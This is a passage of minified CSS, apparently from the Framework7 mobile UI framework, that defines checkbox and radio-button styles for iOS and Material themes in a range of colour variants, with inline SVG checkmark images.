.checkbox input[type=checkbox]:checked~i:after,.md label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox:after,.md label.item-checkbox input[type=checkbox]:checked~.icon-checkbox:after{opacity:1}.md label.item-checkbox{position:relative;overflow:hidden;z-index:0}.md label.item-checkbox>.icon-checkbox{margin-left:38px}.md label.item-checkbox .item-content .item-media,.md label.item-checkbox.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.md label.item-checkbox.active-state{background-color:rgba(0,0,0,.1)}.md .theme-dark label.item-checkbox.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .checkbox i,.md .theme-dark .icon-checkbox{border-color:rgba(255,255,255,.54)}.md .color-theme-red .checkbox input[type=checkbox]:checked~i,.md .color-theme-red label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-red label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#f44336;border-color:#f44336}.md .color-theme-red .checkbox .ripple-wave{background:rgba(244,67,54,.5)}.md .color-theme-green .checkbox input[type=checkbox]:checked~i,.md .color-theme-green label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-green label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#4caf50;border-color:#4caf50}.md .color-theme-green .checkbox .ripple-wave{background:rgba(76,175,80,.5)}.md .color-theme-blue .checkbox input[type=checkbox]:checked~i,.md .color-theme-blue label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-blue label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .color-theme-blue .checkbox .ripple-wave{background:rgba(33,150,243,.5)}.md .color-theme-pink .checkbox input[type=checkbox]:checked~i,.md .color-theme-pink label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-pink label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#e91e63;border-color:#e91e63}.md .color-theme-pink .checkbox .ripple-wave{background:rgba(233,30,99,.5)}.md .color-theme-yellow .checkbox input[type=checkbox]:checked~i,.md .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-yellow label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#ffeb3b;border-color:#ffeb3b}.md .color-theme-yellow .checkbox .ripple-wave{background:rgba(255,235,59,.5)}.md .color-theme-orange .checkbox input[type=checkbox]:checked~i,.md .color-theme-orange label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-orange label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#ff9800;border-color:#ff9800}.md .color-theme-orange .checkbox .ripple-wave{background:rgba(255,152,0,.5)}.md .color-theme-gray .checkbox input[type=checkbox]:checked~i,.md .color-theme-gray label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-gray label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#9e9e9e;border-color:#9e9e9e}.md .color-theme-gray .checkbox .ripple-wave{background:rgba(158,158,158,.5)}.md .color-theme-white .checkbox input[type=checkbox]:checked~i,.md .color-theme-white label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-white label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#fff;border-color:#fff}.md .color-theme-white .checkbox .ripple-wave{background:rgba(255,255,255,.5)}.md .color-theme-black .checkbox input[type=checkbox]:checked~i,.md .color-theme-black label.item-checkbox input[type=checkbox]:checked~* .icon-checkbox,.md .color-theme-black label.item-checkbox input[type=checkbox]:checked~.icon-checkbox{background-color:#000;border-color:#000}.md .color-theme-black .checkbox .ripple-wave{background:rgba(0,0,0,.5)}.md .checkbox.color-red input[type=checkbox]:checked~i,.md label.item-checkbox.color-red input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-red input[type=checkbox]:checked~.icon-checkbox{background-color:#f44336;border-color:#f44336}.md .checkbox.color-red .ripple-wave{background:rgba(244,67,54,.5)}.md .checkbox.color-green input[type=checkbox]:checked~i,.md label.item-checkbox.color-green input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-green input[type=checkbox]:checked~.icon-checkbox{background-color:#4caf50;border-color:#4caf50}.md .checkbox.color-green .ripple-wave{background:rgba(76,175,80,.5)}.md .checkbox.color-blue input[type=checkbox]:checked~i,.md label.item-checkbox.color-blue input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-blue input[type=checkbox]:checked~.icon-checkbox{background-color:#2196f3;border-color:#2196f3}.md .checkbox.color-blue .ripple-wave{background:rgba(33,150,243,.5)}.md .checkbox.color-pink input[type=checkbox]:checked~i,.md label.item-checkbox.color-pink input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-pink input[type=checkbox]:checked~.icon-checkbox{background-color:#e91e63;border-color:#e91e63}.md .checkbox.color-pink .ripple-wave{background:rgba(233,30,99,.5)}.md .checkbox.color-yellow input[type=checkbox]:checked~i,.md label.item-checkbox.color-yellow input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-yellow input[type=checkbox]:checked~.icon-checkbox{background-color:#ffeb3b;border-color:#ffeb3b}.md .checkbox.color-yellow .ripple-wave{background:rgba(255,235,59,.5)}.md .checkbox.color-orange input[type=checkbox]:checked~i,.md label.item-checkbox.color-orange input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-orange input[type=checkbox]:checked~.icon-checkbox{background-color:#ff9800;border-color:#ff9800}.md .checkbox.color-orange .ripple-wave{background:rgba(255,152,0,.5)}.md .checkbox.color-gray input[type=checkbox]:checked~i,.md label.item-checkbox.color-gray input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-gray input[type=checkbox]:checked~.icon-checkbox{background-color:#9e9e9e;border-color:#9e9e9e}.md .checkbox.color-gray .ripple-wave{background:rgba(158,158,158,.5)}.md .checkbox.color-white input[type=checkbox]:checked~i,.md label.item-checkbox.color-white input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-white input[type=checkbox]:checked~.icon-checkbox{background-color:#fff;border-color:#fff}.md .checkbox.color-white .ripple-wave{background:rgba(255,255,255,.5)}.md .checkbox.color-black input[type=checkbox]:checked~i,.md label.item-checkbox.color-black input[type=checkbox]:checked~* .icon-checkbox,.md label.item-checkbox.color-black input[type=checkbox]:checked~.icon-checkbox{background-color:#000;border-color:#000}.md .checkbox.color-black .ripple-wave{background:rgba(0,0,0,.5)}.icon-radio{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.radio{position:relative;display:inline-block;vertical-align:middle;z-index:1}.radio,label.item-radio{cursor:pointer}.radio input[type=checkbox],.radio input[type=radio],label.item-radio input[type=checkbox],label.item-radio input[type=radio]{display:none}.radio .icon-radio,label.item-radio .icon-radio{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block}.radio .icon-radio:after,label.item-radio .icon-radio:after{content:'';position:absolute}label.item-radio{-webkit-transition-duration:.3s;transition-duration:.3s}label.item-radio.active-state:after{background-color:transparent}.disabled label.item-radio,label.item-radio.disabled{opacity:.55;pointer-events:none;opacity:.55!important;pointer-events:none!important}.ios .icon-radio{width:22px;height:22px;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;display:block}.ios .radio .icon-radio{border-radius:50%;border:1px solid #c7c7cc}.ios label.item-radio input[type=radio]~.icon-radio{position:absolute;top:50%;margin-top:-11px;left:10px}.ios label.item-radio .item-inner{padding-left:35px}.ios .radio input[type=radio]:checked~.icon-radio,.ios label.item-radio input[type=radio]:checked~* .icon-radio,.ios label.item-radio input[type=radio]:checked~.icon-radio{background:no-repeat center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E");background-size:13px 10px}.ios .radio input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios label.item-radio .item-content .item-media,.ios label.item-radio.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.ios label.item-radio.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}@media (orientation:landscape){.ios.device-iphone-x .ios-edges label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .ios-left-edge label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .panel-left label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .popup label.item-radio input[type=radio]~.icon-radio,.ios.device-iphone-x .sheet-modal label.item-radio input[type=radio]~.icon-radio{left:calc(10px + constant(safe-area-inset-left));left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner,.ios.device-iphone-x .ios-left-edge label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner,.ios.device-iphone-x .panel-left label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner,.ios.device-iphone-x .popup label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner,.ios.device-iphone-x .sheet-modal label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner{padding-left:calc(35px + constant(safe-area-inset-left));padding-left:calc(35px + env(safe-area-inset-left))}}.ios .theme-dark label.item-radio.active-state{background-color:#363636}.ios .color-theme-red .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .radio input[type=radio]:checked~.icon-radio{border-color:#ff3b30}.ios .color-theme-green .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .radio input[type=radio]:checked~.icon-radio{border-color:#4cd964}.ios .color-theme-blue .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .radio input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios .color-theme-pink .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .radio input[type=radio]:checked~.icon-radio{border-color:#ff2d55}.ios .color-theme-yellow .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .radio input[type=radio]:checked~.icon-radio{border-color:#fc0}.ios .color-theme-orange .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .radio input[type=radio]:checked~.icon-radio{border-color:#ff9500}.ios .color-theme-gray .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .radio input[type=radio]:checked~.icon-radio{border-color:#8e8e93}.ios .color-theme-white .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .radio input[type=radio]:checked~.icon-radio{border-color:#fff}.ios .color-theme-black .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .radio input[type=radio]:checked~.icon-radio{border-color:#000}.ios .radio.color-red input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-red input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-red input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-red input[type=radio]:checked~.icon-radio{border-color:#ff3b30}.ios .radio.color-green input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-green input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-green input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-green input[type=radio]:checked~.icon-radio{border-color:#4cd964}.ios .radio.color-blue input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-blue input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-blue input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-blue input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios .radio.color-pink input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-pink input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-pink input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-pink input[type=radio]:checked~.icon-radio{border-color:#ff2d55}.ios .radio.color-yellow input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-yellow input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-yellow input[type=radio]:checked~.icon-radio{border-color:#fc0}.ios .radio.color-orange input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-orange input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-orange input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-orange input[type=radio]:checked~.icon-radio{border-color:#ff9500}.ios .radio.color-gray input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-gray input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-gray input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-gray input[type=radio]:checked~.icon-radio{border-color:#8e8e93}.ios .radio.color-white input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-white input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-white input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-white input[type=radio]:checked~.icon-radio{border-color:#fff}.ios .radio.color-black input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-black input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-black input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-black input[type=radio]:checked~.icon-radio{border-color:#000}.md .icon-radio{width:20px;height:20px;position:relative;border-radius:50%;border:2px solid #6d6d6d;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-duration:.2s;transition-duration:.2s;display:block}.md .icon-radio:after{content:'';position:absolute;width:10px;height:10px;left:50%;top:50%;margin-left:-5px;margin-top:-5px;background-color:#2196f3;border-radius:50%;-webkit-transform:scale(0);transform:scale(0);-webkit-transition-duration:.2s;transition-duration:.2s}.md .radio input[type=radio]:checked~.icon-radio,.md label.item-radio input[type=radio]:checked~* .icon-radio,.md label.item-radio input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .radio input[type=radio]:checked~.icon-radio:after,.md label.item-radio input[type=radio]:checked~* .icon-radio:after,.md label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#2196f3;-webkit-transform:scale(1);transform:scale(1)}.md label.item-radio{position:relative;overflow:hidden;z-index:0}.md label.item-radio>.icon-radio{margin-left:38px}.md label.item-radio .item-content .item-media,.md label.item-radio.item-content .item-media{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.md label.item-radio.active-state{background-color:rgba(0,0,0,.1)}.md .theme-dark label.item-radio.active-state{background-color:rgba(255,255,255,.05)}.md .theme-dark .icon-radio{border-color:rgba(255,255,255,.54)}.md .color-theme-red .icon-radio:after{background-color:#f44336}.md .color-theme-red .radio input[type=radio]:checked~.icon-radio,.md .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio{border-color:#f44336}.md .color-theme-red .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-red label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-red label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#f44336}.md .color-theme-red .radio .ripple-wave{background:rgba(244,67,54,.5)}.md .color-theme-green .icon-radio:after{background-color:#4caf50}.md .color-theme-green .radio input[type=radio]:checked~.icon-radio,.md .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio{border-color:#4caf50}.md .color-theme-green .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-green label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-green label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#4caf50}.md .color-theme-green .radio .ripple-wave{background:rgba(76,175,80,.5)}.md .color-theme-blue .icon-radio:after{background-color:#2196f3}.md .color-theme-blue .radio input[type=radio]:checked~.icon-radio,.md .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .color-theme-blue .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-blue label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-blue label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#2196f3}.md .color-theme-blue .radio .ripple-wave{background:rgba(33,150,243,.5)}.md .color-theme-pink .icon-radio:after{background-color:#e91e63}.md .color-theme-pink .radio input[type=radio]:checked~.icon-radio,.md .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio{border-color:#e91e63}.md .color-theme-pink .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#e91e63}.md .color-theme-pink .radio .ripple-wave{background:rgba(233,30,99,.5)}.md .color-theme-yellow .icon-radio:after{background-color:#ffeb3b}.md .color-theme-yellow .radio input[type=radio]:checked~.icon-radio,.md .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio{border-color:#ffeb3b}.md .color-theme-yellow .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#ffeb3b}.md .color-theme-yellow .radio .ripple-wave{background:rgba(255,235,59,.5)}.md .color-theme-orange .icon-radio:after{background-color:#ff9800}.md .color-theme-orange .radio input[type=radio]:checked~.icon-radio,.md .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio{border-color:#ff9800}.md .color-theme-orange .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#ff9800}.md .color-theme-orange .radio .ripple-wave{background:rgba(255,152,0,.5)}.md .color-theme-gray .icon-radio:after{background-color:#9e9e9e}.md .color-theme-gray .radio input[type=radio]:checked~.icon-radio,.md .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio{border-color:#9e9e9e}.md .color-theme-gray .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#9e9e9e}.md .color-theme-gray .radio .ripple-wave{background:rgba(158,158,158,.5)}.md .color-theme-white .icon-radio:after{background-color:#fff}.md .color-theme-white .radio input[type=radio]:checked~.icon-radio,.md .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio{border-color:#fff}.md .color-theme-white .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#fff}.md .color-theme-white .radio .ripple-wave{background:rgba(255,255,255,.5)}.md .color-theme-black .icon-radio:after{background-color:#000}.md .color-theme-black .radio input[type=radio]:checked~.icon-radio,.md .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio{border-color:#000}.md .color-theme-black .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#000}.md .color-theme-black .radio .ripple-wave{background:rgba(0,0,0,.5)}.md .radio.color-red .icon-radio:after{background-color:#f44336}.md .radio.color-red input[type=radio]:checked~.icon-radio,.md label.item-radio.color-red input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-red input[type=radio]:checked~.icon-radio{border-color:#f44336}.md .radio.color-red input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-red input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-red input[type=radio]:checked~.icon-radio:after{background-color:#f44336}.md .radio.color-red .ripple-wave{background:rgba(244,67,54,.5)}.md .radio.color-green .icon-radio:after{background-color:#4caf50}.md .radio.color-green input[type=radio]:checked~.icon-radio,.md label.item-radio.color-green input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-green input[type=radio]:checked~.icon-radio{border-color:#4caf50}.md .radio.color-green input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-green input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-green input[type=radio]:checked~.icon-radio:after{background-color:#4caf50}.md .radio.color-green .ripple-wave{background:rgba(76,175,80,.5)}.md .radio.color-blue .icon-radio:after{background-color:#2196f3}.md .radio.color-blue input[type=radio]:checked~.icon-radio,.md label.item-radio.color-blue input[type=radio]:checked~* 